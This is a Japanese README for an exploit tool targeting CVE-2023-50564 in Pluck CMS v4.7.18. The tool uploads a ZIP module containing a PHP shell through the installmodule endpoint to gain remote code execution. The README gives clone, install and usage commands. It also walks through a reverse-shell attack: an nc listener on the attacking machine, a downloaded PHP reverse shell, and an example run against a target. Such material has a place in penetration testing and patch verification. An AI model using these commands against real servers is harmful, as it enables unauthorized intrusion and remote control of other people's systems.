CVE-2023-50564

📌 説明

このエクスプロイトは、Pluck CMS v4.7.18 において認証済み管理者がPHPシェルを含む悪意のあるZIPモジュールをアップロードし、リモートコード実行（RCE）を可能にします。

⚙️ 機能

• 有効なユーザー名とパスワードを使用してターゲットに認証する
• 提供されたPHPファイルから自動的にZIPアーカイブを作成する
• 脆弱な installmodule エンドポイントにモジュールをアップロードする
• ペイロードをトリガーし、出力を表示する
• カスタムターゲット、ポート、認証情報、シェルパスをサポートする

🚀 使用方法

git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h

python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]

• ポートはオプションで、指定がない場合はデフォルトで80が使用されます。
• ターゲットを指定する際は、IPアドレスまたはドメイン名が必要です（例：127.0.0.1 や test.domain）。

サンプルエクスプロイト

まず、攻撃マシンでリバースシェルリスナーを起動します（このターミナルタブは終了しないでください）：

nc -nvlp <ポートを指定>

次に、https://github.com/pentestmonkey/php-reverse-shell からPHPリバースシェルをダウンロードし、攻撃マシンに合わせてカスタマイズします（IP、ポート）。

別のタブでエクスプロイトコードを実行します：

python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php